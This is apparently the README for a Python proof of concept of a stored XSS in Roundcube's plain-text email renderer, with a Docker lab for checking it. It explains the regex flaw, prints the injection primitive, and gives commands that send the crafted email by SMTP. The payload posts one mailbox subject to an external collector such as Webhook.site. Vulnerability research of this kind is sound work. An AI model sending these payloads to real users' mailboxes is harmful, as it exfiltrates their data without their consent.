
Configurable Python PoC for CVE-2026-54433, a stored XSS in Roundcube's plain-text email renderer. Generates crafted .eml, sends via SMTP, and validates impact in a Docker lab.

This repository contains a configurable Python proof of concept for
CVE-2026-54433, a stored cross-site scripting vulnerability in Roundcube's
plain-text email renderer. An unauthenticated sender can deliver a crafted
text/plain message. When an authenticated Roundcube user opens or previews
that message, attacker-controlled JavaScript executes in the Roundcube origin.
The PoC demonstrates concrete authenticated-session impact without collecting cookies or message bodies: it reads the subject of one older message and sends that value, the Roundcube origin, and the task name to an authorized collector as URL-encoded POST fields.
Warning
This is active exploit code. Use it only in a lab you own or against a system and mailbox you are explicitly authorized to test. The sending mode transmits a crafted email and may disclose one pre-existing subject to the collector. Use
--generate-onlyfor offline inspection.
Roundcube converts addresses found in plain-text messages into clickable
mailto: links. In affected versions, the optional query suffix was matched
with \S+:
. '(\?\S+)?'
Because \S includes < and >, a string beginning like an email address
could make the auto-link replacement consume an opening HTML tag while leaving
the remainder to be interpreted as markup. This minimal form illustrates the
primitive:
[email protected]?]
The upstream fix restricts the query suffix so it cannot contain angle brackets or whitespace:
. '(\?[^<>\s]+)?'
The vendor describes the issue as "zero-click" because no link click is required. Opening or previewing the email while authenticated is still the mail-client action that renders the payload.
| Release line | Status |
|---|---|
| Roundcube versions before 1.6.17 | Affected |
| Roundcube 1.6.17 and later 1.6.x | Fixed |
| Roundcube 1.7.0 and 1.7.1 | Affected |
| Roundcube 1.7.2 and later | Fixed |
The public fix commits are:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Upgrade to Roundcube 1.6.17 / 1.7.2 or a newer supported release.
text/plain.src to invoke
onerror. A collector callback still requires browser network reachability.HttpOnly. This PoC does not attempt
to read it. Its same-origin request automatically uses the authenticated
session, and the separate-message subject is the impact proof.The demonstrated result is authenticated JavaScript execution and read access to one earlier email subject. Account takeover, arbitrary message-body theft, and server-side code execution are not claimed by this repository.
cve-2026-54433-poc.py is self-contained and uses only the Python standard
library. It:
text/plain email;CVE-2026-54433;subject, origin, and task to /capture/<random-marker>;The payload inserts the DOM comment:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
It also hides the auto-linked address fragment and broken-image indicator while showing the caller-supplied benign body.
Generate the email without making a network connection:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
This writes:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspect the generated message before using the sending mode.
The --collector value can be a Webhook.site UUID, capture URL, or
#!/view/ URL. The script derives the capture and polling endpoints.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
If SMTP_PASSWORD is absent, the script asks for the password without echoing
or storing it. A differently named variable can be selected with
--smtp-password-env NAME. Avoid --smtp-password on multi-user systems
because command-line arguments may be visible in process listings or shell
history.
The script asks for an explicit YES before sending. In non-interactive,
already-authorized lab automation, pass --yes. It waits up to 24 hours for a
callback by default; use --timeout SECONDS to change this.
For a non-Webhook.site collector, pass the capture base and optional JSON status endpoint:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
The included collector.py implements the compatible /capture/<marker> and
/status endpoints. It binds to loopback by default. Real HTTPS deployment and
access control are intentionally left to the authorized tester.
The lab has no published host ports and contains only synthetic messages. It uses the same Python PoC to generate the trigger, delivers both messages into a disposable Dovecot mailbox, signs in through a disposable headless browser, and records whether the injected handler read the previous subject.
Requirements: Docker, Python 3, OpenSSL, and jq.
Vulnerable test:
./lab/run.sh
Fixed control:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
For a video or live browser demonstration, run:
./lab/demo.sh